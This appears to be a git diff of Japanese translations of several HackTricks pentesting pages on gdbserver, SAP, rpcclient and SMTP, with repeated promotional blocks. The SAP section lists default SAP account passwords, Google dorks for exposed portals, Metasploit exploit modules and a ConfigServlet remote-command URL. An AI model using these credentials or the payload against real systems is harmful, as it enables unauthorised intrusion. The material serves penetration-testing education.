**gdbserver**は、プログラムのリモートデバッグを可能にするツールです。これは、デバッグが必要なプログラムと同じシステムで実行される「ターゲット」として知られるプログラムと一緒に実行されます。このセットアップにより、**GNUデバッガ**が、ソースコードとデバッグ対象プログラムのバイナリコピーが格納されている「ホスト」と呼ばれる別のマシンから接続できます。**gdbserver**とデバッガの間の接続は、TCPまたはシリアルラインを介して行われ、柔軟なデバッグセットアップが可能です。
**gdbserverを任意のポートでリッスン**させることができ、**現時点ではnmapはそのサービスを認識することができません**。
@ -197,7 +197,7 @@ RemoteCmd()
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペネトレーションテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出およびエクスプロイトモジュールを開発しています。
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペネトレーションテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してさらに深く掘り下げたり、シェルをポップしたり、楽しんだりするためにカスタムツール、検出およびエクスプロイトモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
@ -207,10 +207,10 @@ RemoteCmd()
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) **をチェックしてください!**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **をフォローする。**
* **HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、当社の独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で私を**フォロー**してください。**
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -1,39 +1,39 @@
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
</details>
# SAPについてのイントロダクション
# SAPについての紹介
SAPは、データ処理におけるシステムアプリケーションと製品を意味します。定義上、SAPはERPエンタープライズリソースプランニングソフトウェアの名前であり、同時に会社の名前でもあります。
SAPシステムは、ビジネス管理のほぼすべての側面をカバーする完全に統合されたモジュールの数から構成されています。
SAPは、Systems Applications and Products in Data Processingの略です。SAPは、ERPEnterprise Resource Planningソフトウェアの名前であり、会社の名前でもあります。
SAPシステムは、ほぼすべてのビジネス管理の側面をカバーする、数々の完全に統合されたモジュールで構成されています。
各SAPインスタンスまたはSIDは、データベース、アプリケーション、プレゼンテーションの3つのレイヤーで構成されており、通常、開発、テスト、QA、本番の4つのインスタンスで構成されています。
これらのレイヤーはそれぞれある程度悪用される可能性がありますが、**データベースを攻撃する**ことで最も効果が得られます。
各レイヤーはある程度攻撃される可能性がありますが、最も効果的なのは**データベースへの攻撃**です。
各SAPインスタンスはクライアントに分割されています。それぞれには、"root"に相当するアプリケーションのユーザーSAP\*があります。
初期作成時、このユーザーSAP\*はデフォルトパスワード「060719992」以下、さらにデフォルトパスワードを取得します
テスト環境や開発環境でこれらの**パスワードが変更されていない**ことに驚かされることがよくあります
各SAPインスタンスはクライアントに分割されています。それぞれにユーザーSAP\*があり、これはアプリケーションの「root」に相当します。
初期作成時、このユーザーSAP\*にはデフォルトパスワード「060719992」が設定されます以下にデフォルトパスワードがさらにあります
驚くべきことに、これらの**パスワードがテストや開発環境で変更されないことがどれだけ頻繁か**を知るでしょう
&lt;SID&gt;admというユーザー名を使用して、任意のサーバーのシェルにアクセスしようとします
ブルートフォースが役立つことがありますが、アカウントロックアウトメカニズムが存在する可能性があります
任意のサーバーのシェルにアクセスしようとする場合は、ユーザー名&lt;SID&gt;admを使用してください
Bruteforcingが役立つかもしれませんが、アカウントロックアウトメカニズムがあるかもしれません
# Discovery
# ディスカバリ
> 次のセクションは、ユーザーshipcod3の[https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)からのものです!
* テストのためのアプリケーションスコープまたはプログラムブリーフをチェックします。SAP GUIに接続するためのホスト名またはシステムインスタンスをメモしてください。
* OSINTオープンソースインテリジェンス、Shodan、Google Dorksを使用して、アプリケーションがインターネット公開または公開されている場合にファイル、サブドメイン、および重要な情報をチェックします
* テストのためにアプリケーションスコープまたはプログラム概要をチェックしてください。SAP GUIに接続するためのホスト名やシステムインスタンスに注意してください。
* インターネット公開されている場合は、OSINTオープンソースインテリジェンス、Shodan、Google Dorksを使用してファイル、サブドメイン、および興味深い情報をチェックしてください
```text
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
@ -47,15 +47,15 @@ https://www.shodan.io/search?query=SAP+J2EE+Engine
![SAPログオン画面](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
* nmapを使用して開いているポートと既知のサービスsap routers, webdynpro, web services, web serversなど)をチェックします。
* nmapを使用してオープンポートと既知のサービスsapルーター、webdynpro、webサービス、webサーバーなど)をチェックします。
* ウェブサーバーが稼働している場合は、URLをクロールします。
* 特定のポートでウェブサーバーがる場合は、ディレクトリをファズしますBurp Intruderを使用できますSecLists Projectによって提供された以下の良いワードリストは、デフォルトのSAP ICMパスや他の興味深いディレクトリやファイルを見つけるのに役立ちます:
* 特定のポートでウェブサーバーが稼働している場合は、ディレクトリをファズしますBurp Intruderを使用できます。デフォルトのSAP ICMパスやその他の興味深いディレクトリやファイルを見つけるためのSecLists Projectによって提供されるいくつかの良いワードリストは次のとおりです:
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
* SAPインスタンス/サービス/コンポーネントを列挙するために、MetasploitのSAP SERVICE DISCOVERY補助モジュールを使用します。
* SAP SERVICE DISCOVERY補助Metasploitモジュールを使用して、SAPインスタンス/サービス/コンポーネントを列挙します:
```text
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
@ -72,12 +72,12 @@ rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
```
## Thick Client / SAP GUI のテスト
## ティッククライアント / SAP GUIのテスト
SAP GUI に接続するためのコマンドはこちらです
以下はSAP GUIに接続するコマンドです
`sapgui <sap server hostname> <system number>`
* デフォルトの認証情報の確認 \(Bugcrowdの脆弱性評価分類において、これはP1と見なされます -> サーバーのセキュリティ設定ミス \| デフォルト認証情報の使用 \| 本番サーバー\):
* デフォルトの資格情報をチェックしますBugcrowdの脆弱性評価タクソミーでは、これはP1と見なされます -&gt; サーバーセキュリティのミス構成 \| デフォルトの資格情報の使用 \| 本番サーバー\:
```text
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
@ -128,33 +128,33 @@ SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
```
* Wiresharkを実行し、いくつかのクライアントがSSLなしで資格情報を送信するため、取得した資格情報を使用してクライアントSAP GUIに認証します。Wireshark用の2つの既知のプラグインがあり、SAP DIAGプロトコルによって使用される主要なヘッダーを解析できますSecureAuth LabsのSAP解析プラグインとPositive Research CenterのSAP DIAGプラグイン。
* 低権限ユーザーのためのいくつかのSAPトランザクションコードtcodesを使用して権限昇格をチェックします:
* Wiresharkを実行し、SSLなしで資格情報を送信するクライアントSAP GUIに認証します。SAP DIAGプロトコルで使用される主要なヘッダーを解析するための2つの既知のWiresharkプラグインがありますSecureAuth Labs SAP dissection plug-inとPositive Research CenterによるSAP DIAGプラグイン。
* 低権限ユーザーが使用するいくつかのSAPトランザクションコードtcodesを使用した特権昇格をチェックします:
* SU01 - ユーザーの作成とメンテナンス
* SU01D - ユーザーの表示
* SU10 - 一括メンテナンス
* SU02 - プロファイルの手動作成
* SM19 - セキュリティ監査 - 設定
* SU10 - 一括メンテナンス
* SU02 - プロファイルの手動作成
* SM19 - セキュリティ監査 - 構成
* SE84 - SAP R/3権限の情報システム
* クライアントでシステムコマンドを実行したり、スクリプトを実行できるかどうかをチェックします。
* BAPI ExplorerでXSSを実行できるかどうかをチェックします。
# Webインターフェースのテスト
# ウェブインターフェースのテスト
* URLをクロールします発見フェーズを参照
* 発見フェーズのようにURLをファズします。以下は[http://SAP:50000/index.html](http://sap:50000/index.html)の見た目です:
* 発見フェーズと同様にURLをファジングします。こちらは[http://SAP:50000/index.html](http://sap:50000/index.html)の見た目です:
![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
* 一般的なWeb脆弱性OWASP Top 10を参照を探します。なぜなら、いくつかの場所にはXSS、RCE、XXEなどの脆弱性が存在するからです。
* Web脆弱性のテストには、Jason Haddixの[“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm)をチェックしてください
* 動詞の改ざんによる認証バイパス?もしかしたら\)
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`を開き、「Choose」ボタンを押し、開いたウィンドウで「Search」を押します。SAPユーザーのリストが表示されるはずです脆弱性参照[ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)
* 資格情報はHTTP経由で送信されていますかもしそうなら、Bugcrowdの[Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy)に基づいてP3と見なされますBroken Authentication and Session Management \| Weak Login Function Over HTTP。ヒント[http://SAP:50000/startPage](http://sap:50000/startPage)やログオンポータルもチェックしてください\)
* 一般的なウェブ脆弱性を探しますOWASP Top 10を参照。いくつかの場所にはXSS、RCE、XXEなどの脆弱性があります。
* Jason Haddixの[“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm)を参照してウェブ脆弱性をテストします
* 動詞の改ざんを使った認証バイパスは可能ですか?おそらくです\)
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`を開き、「Choose」ボタンをクリックし、その後開いたウィンドウで「Search」を押します。SAPユーザーのリストが表示されるはずです脆弱性リファレンス[ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)
* 資格情報はHTTP経由で送信されていますかもしそうなら、Bugcrowdの[Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy)に基づいてP3と見なされますBroken Authentication and Session Management \| Weak Login Function Over HTTP。ヒント[http://SAP:50000/startPage](http://sap:50000/startPage)やログオンポータルもチェックしてください :\)
![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
* 認証バイパスまたは可能なディレクトリリスティングのために`/irj/go/km/navigation/`を試してみてください
* 可能なディレクトリリスティングや認証バイパスのために`/irj/go/km/navigation/`を試してみてください
* [http://SAP/sap/public/info](http://sap/sap/public/info)には興味深い情報が含まれています:
```xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
@ -188,8 +188,8 @@ BWDEVELOPER:Down1oad:001
```
# 攻撃!
* 古いサーバーやWindows 2000のような古い技術で動作しているか確認してください
* 可能なエクスプロイト/攻撃を計画してください。SAPの発見補助モジュールとエクスプロイトのための多くのMetasploitモジュールがあります
* 古いサーバーやWindows 2000などの古いテクノロジーで実行されているかどうかをチェックします
* 可能な攻撃/エクスプロイトを計画します。SAPの発見補助モジュールやエクスプロイトのためのMetasploitモジュールがたくさんあります。
```text
msf > search sap
Matching Modules
@ -254,13 +254,13 @@ exploit/windows/lpd/saplpd 2008-02
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
```
* 既知のエクスプロイトを使用してみてくださいExploit-DBをチェックしてくださいまたは、SAPポータルの「SAP ConfigServlet Remote Code Execution」のような古くからある良い攻撃を試してみてください:
* 既知の脆弱性Exploit-DBをチェックしてくださいや古典的な攻撃、例えば "SAP ConfigServlet Remote Code Execution" をSAP Portalで利用してみてください:
```text
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
```
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
* Discoveryフェーズでbizploitスクリプトの`start`コマンドを実行する前に、脆弱性評価を行うために以下を追加することもできます:
* `start`コマンドを実行する前に、Discoveryフェーズで脆弱性評価を実行するために、以下の内容を追加することもできます:
```text
bizploit> plugins
bizploit/plugins> vulnassess all
@ -282,36 +282,38 @@ bizploit/plugins> start
bizploit/plugins> back
bizploit> start
```
# テストに役立つその他のツール
# その他のテストに役立つツール
* [PowerSAP](https://github.com/airbus-seclab/powersap) - sapセキュリティを評価するためのPowershellツール
* [Burp Suite](https://portswigger.net/burp) - ディレクトリファジングとWebセキュリティ評価に必須
* [PowerSAP](https://github.com/airbus-seclab/powersap) - SAPセキュリティを評価するためのPowerShellツール
* [Burp Suite](https://portswigger.net/burp) - ディレクトリファジングとWebセキュリティアセスメントに必須のツール
* [pysap](https://github.com/SecureAuthCorp/pysap) - SAPネットワークプロトコルパケットを作成するためのPythonライブラリ
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - nmapがSAP/ERPを検出するのを助け
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - nmapがSAP/ERPを検出するのを支援す
# 参考文献
## 参考文献
* [SAP Penetration Testing Using Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [Metasploitを使用したSAPペネトレーションテスト](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - Bizploitを半自動化するスクリプト
* [SAP NetWeaver ABAPセキュリティ設定パート3: アプリケーションへのアクセス用デフォルトパスワード](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [SAP NetWeaver ABAPセキュリティ構成パート3アプリケーションへのアクセスのためのデフォルトパスワード](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [SAPセキュリティに関連するABAPトランザクションコードのリスト](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [SAP Portalを破る](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [SAPポータルの侵害](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [最も興味深いSAPの脆弱性と攻撃トップ10](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [bizploitを使用したSAPエコシステムのセキュリティ評価: Discovery](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [bizploitを使用したSAPエコシステムのセキュリティ評価Discovery](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォローする** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください
</details>

View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -58,7 +58,7 @@ done
* **グループ**`enumdomgroups`による。
* **グループの詳細**`querygroup <0xrid>`を使用。
* **グループのメンバー**`querygroupmem <0xrid>`を介して。
* **グループのメンバー**`querygroupmem <0xrid>`を通じて。
#### エイリアスグループの列挙
@ -79,7 +79,7 @@ done
#### SIDを使用した追加操作
* **名前からSIDへの変換**`lookupnames <username>`を使用。
* **さらなるSID**`lsaenumsid`を介して。
* **さらなるSID**`lsaenumsid`を通じて。
* **RIDサイクリングによるさらなるSIDの確認**`lookupsids <sid>`によって実行。
#### **追加コマンド**
@ -114,9 +114,9 @@ done
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですかまたは、HackTricksをPDFでダウンロードしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**[**@carlospolopm**](https://twitter.com/hacktricks_live)**フォロー**してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを入手しましょう。
* [**公式PEASSHackTricksスウェット**](https://peass.creator-spring.com)を手に入れましょう。
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**フォロー**してください。
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
</details>

View file

@ -10,22 +10,21 @@ HackTricksをサポートする他の方法
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
- **ハッキングトリックを共有するに、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
- **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行し、レポート作成まで行います。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らに深く掘り下げる時間を与え、シェルをポップして楽しむことができます。
**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を使用して、リコンからレポート作成まで、どこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻して深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発してます。
{% embed url="https://pentest-tools.com/" %}
## **基本情報**
**SMTPSimple Mail Transfer Protocol**は、**電子メールの送受信**に使用されるTCP/IPプロトコルです。ただし、受信側でメッセージをキューに入れる能力が制限されているため、通常はサーバーメールボックスにメッセージを保存し、定期的にサーバーからダウンロードすることができるPOP3またはIMAPのいずれかと一緒に使用されます。
**Simple Mail Transfer Protocol (SMTP)**は、**電子メールの送受信**に使用されるTCP/IPスイート内のプロトコルです。受信者側でメッセージをキューイングする際の制限により、SMTPはしばしば**POP3またはIMAP**と併用されます。これらの追加プロトコルにより、ユーザーはサーバーメールボックスにメッセージを保存し、定期的にダウンロードすることができます。
言い換えると、**ユーザーは通常**、**SMTPを使用して電子メールを送信**し、**POP3またはIMAPを使用して電子メールを受信**します。Unixベースのシステムでは、電子メールのために最も広く使用されているSMTPサーバーはsendmailです。商用パッケージであるSendmailにはPOP3サーバーが含まれています。**Microsoft Exchange**にはSMTPサーバーが含まれており、POP3サポートも設定できます。\
[こちら](https://whatis.techtarget.com/definition/SMTP-Simple-Mail-Transfer-Protocol)から。
実際には、**電子メールプログラム**は通常、**SMTPを使用して電子メールを送信**し、**POP3またはIMAPを使用して受信**します。Unixベースのシステムでは、電子メール用に最も頻繁に使用されるSMTPサーバーとして**sendmail**が目立ちます。商用パッケージであるSendmailにはPOP3サーバーが含まれています。さらに、**Microsoft Exchange**はSMTPサーバーを提供し、POP3サポートを含めるオプションがあります。
**デフォルトポート:** 25,465(ssl),587(ssl)
```
@ -38,7 +37,7 @@ PORT STATE SERVICE REASON VERSION
また、SMTP サーバーからメールを取得することもできます。その際は、**存在しないアドレスにメールを送信しようとする SMTP サーバーから NDN メールを攻撃者に送信**させることができます。ただし、許可されたアドレスからメールを送信していることSPF ポリシーを確認と、NDN メッセージを受信できることを確認してください。
さらに、**異なるコンテンツを送信してみると、`X-Virus-Scanned: by av.domain.com`のようなヘッダーに興味深い情報が見つかる**かもしれません。\
さらに、**異なるコンテンツを送信してみると、`X-Virus-Scanned: by av.domain.com`などのヘッダーに興味深い情報が見つかる**かもしれません。\
EICAR テストファイルを送信してください。\
**AV**を検出することで、**既知の脆弱性を悪用**することができるかもしれません。
@ -52,14 +51,14 @@ nc -vn <IP> 25
```
**SMTPS**:
SMTPSは、SMTPSimple Mail Transfer Protocolをセキュアにするための拡張機能であり、通信をSSL/TLSで暗号化します。SMTPSは、ポート465を使用して通信を行います。SMTPSをペンテストする際には、SSL/TLSの設定や暗号化アルゴリズムの強度などを評価することが重要です。
SMTPSSimple Mail Transfer Protocol Secureは、SMTPのセキュアバージョンであり、SMTP over SSLまたはSMTP over TLSとも呼ばれます。SMTPSは、通信を暗号化してセキュアにするために使用されます。
```bash
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
```
### 組織のMXサーバーを見つける
To find the MX servers of an organization, you can use tools like `nslookup` or `dig` to query the DNS records of the domain. The MX (Mail Exchange) records specify the mail servers responsible for receiving email on behalf of the domain. By querying the MX records of a domain, you can identify the mail servers that handle incoming emails for that organization.
To find the MX servers of an organization, you can use tools like `nslookup` or `dig` to query the DNS records of the domain. MX (Mail Exchange) records specify the mail servers responsible for receiving email on behalf of the domain. By querying the DNS records for the domain, you can identify the MX servers used by the organization for handling email communication.
```bash
dig +short mx google.com
```
@ -85,7 +84,7 @@ NTLM supported
